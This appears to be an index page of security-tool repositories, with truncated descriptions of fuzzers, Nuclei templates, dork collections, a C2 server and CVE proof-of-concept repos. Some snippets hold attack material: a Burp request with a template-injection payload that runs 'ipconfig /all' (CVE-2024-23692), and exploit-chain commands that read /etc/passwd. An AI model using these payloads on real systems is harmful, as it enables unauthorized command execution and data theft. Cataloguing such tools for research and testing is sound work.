FormatFuzzer

FormatFuzzer FormatFuzzer is a framework for high-efficiency, high-quality generation and parsing of binary inputs. It takes a binary template that describes the format of a binary input and generates an executable that produces and parses the given binary format. From a binary template for GIF,...

nuclei

English • 中文 • Korean • Indonesia • Spanish • 日本語 • Portuguese • Türkçe...

CSRFER

CSRFER root@kitploit: / / | \ | | \ | / /\ --.| |/ / | | | | |/ / | | --. \ /| | | || / | /// / |\ | | | || |\ \ //| \| /| | -.--. " '-, ',' 2 \ \q \ . \ .--' '----. / . . \ .'.' \ .-.\ '-, ,/ .---;- . \ \ .\ // '-. \ \ | '. , '-. c=' Cooo -. '-. '. '-. \ snd '-. '. '-. \ ---' CSRFER...

NmapReportTemplate

Nmap Report Template Template designed to dynamically display information obtained from Nmap Scan Screenshots Usage 1. Download the nmaptemplatereport.xsl file and, when running , pass the file as a...

cryptohackapp

cryptohackapp Getting started To make it easy for you to get started with GitLab, here's a list of recommended next steps. Already a pro? Just edit this README.md and make it your own. Want to make it easy? Use the template at the bottom! Add your files Create or upload files Add files using the...

thedorkbox

thedorkbox TheDorkbox Comprehensive collection of Google Dorks & OSINT techniques to find Confidential Data Welcome to thedorkbox 👋 This is an OSINT tool which consists of various Google dorks embedded into HTML template so that non-technical users get the importance of OSINT techniques and how...

BabyShark

INTRO This is a basic C2 generic server written in Python and Flask. This code has based ideia to GTRS, which uses Google Translator as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several...

antivmdetection

Antivmdetection Background A script to help you create templates, which you can use with VirtualBox to make VM detection harder. My first post on the subject was in 2012 and have after that been updated at random times. The blog format might have not been the best way of publishing the informatio...

CVE-2026-18963

Keycloak Reset Path Finder Nuclei-шаблон для обнаружения открытых конечных точек reset-credentials Keycloak среди множества прокси-префиксов, путей контекста, имен доменов realm и вариаций путей. Краткое описание Этот шаблон помогает выявить доступные потоки сброса пароля, которые могут быть...

spring-cloud-netflix-hystrix-dashboard-cve-2021-22053

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard уязвимость разрешения шаблонов Степень серьезности Высокая Поставщик Spring от VMware Описание Приложения, использующие как spring-cloud-netflix-hystrix-dashboard, так и spring-boot-starter-thymeleaf, предоставляют способ выполнения кода,...

CVE-2024-50603

CVE-2024-50603 CVE-2024-50603-nuclei-poc...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

wprecon

WPRecon A powerful, template-driven WordPress reconnaissance and vulnerability scanning tool Features • Installation • Usage • Architecture • Templates 📋 Overview WPRecon is a modern WordPress security reconnaissance tool built with Go that helps security engineers identify vulnerabilities,...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 — шаблон Nuclei для неаутентифицированного RCE в OpenCode для сканирования. запрос burp suite root@kitploit: POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 root@kitploit: POST...

CVE-2025-6335

Titre : Vulnérabilité d'injection de modèle menant à l'exécution de commandes dans dedeCMS 5.7 sp2 BUGAuthor: Ewoji Version affectée : dedeCMS 5.7.2 Éditeur : Shanghai Zhuozhuo Network Technology Co., LTD Logiciel : dedeCMS Fichiers vulnérables : /include/dedetag.class.php Description : 1. Après...

CVE-2022-22954

CVE-2022-22954 Внимание Пожалуйста, используйте это на свой страх и риск. Этот репозиторий предназначен только для образовательных целей, и мы категорически против любых незаконных намерений и не несём ответственности за любые незаконные действия, связанные с этим репозиторием. Будьте этичны!...

CVE-2024-40111-Exploit

CVE-2024-40111: Межсайтовый скриптинг XSS с сохранением в Automad 2.0.0-alpha.4 Детали эксплойта Название эксплойта : Межсайтовый скриптинг XSS с сохранением в Automad 2.0.0-alpha.4 Дата : 2024-06-20 Автор эксплойта : Jerry Thomas w3bn00b3r Домашняя страница вендора : Automad Ссылка на ПО :...

jinjava-cve-2026-25526-poc

Пошаговый эксплойт все 9 шагов: mvn exec:java -Dexec.mainClass=ExploitHarness -q 2. Финальные цепочки эксплойтов создание файла, чтение файла, раскрытие информации: mvn exec:java -Dexec.mainClass=ExploitFinal -q 3. Эксфильтрация содержимого файлов читает /etc/passwd, /etc/hosts: mvn exec:java...

CVE-2023-22527

CVE-2023-22527 Этот репозиторий представляет proof-of-concept уязвимости CVE-2023-22527 CVE-2023-22527 | RCE с помощью SSTI в Confluence Дисклеймер Этот код является proof-of-concept уязвимости, и я никого не призываю использовать его на экземплярах Confluence, которые им не принадлежат. Этот...

port-scan-automation

LazyMap - Auto NMAP Scanning Script Automate NMAP scans and custom Nessus polices. Developed by Daniel Compton https://github.com/commonexploits/port-scan-automation.git Released under AGPL see LICENSE for more information Installing root@kitploit: git clone...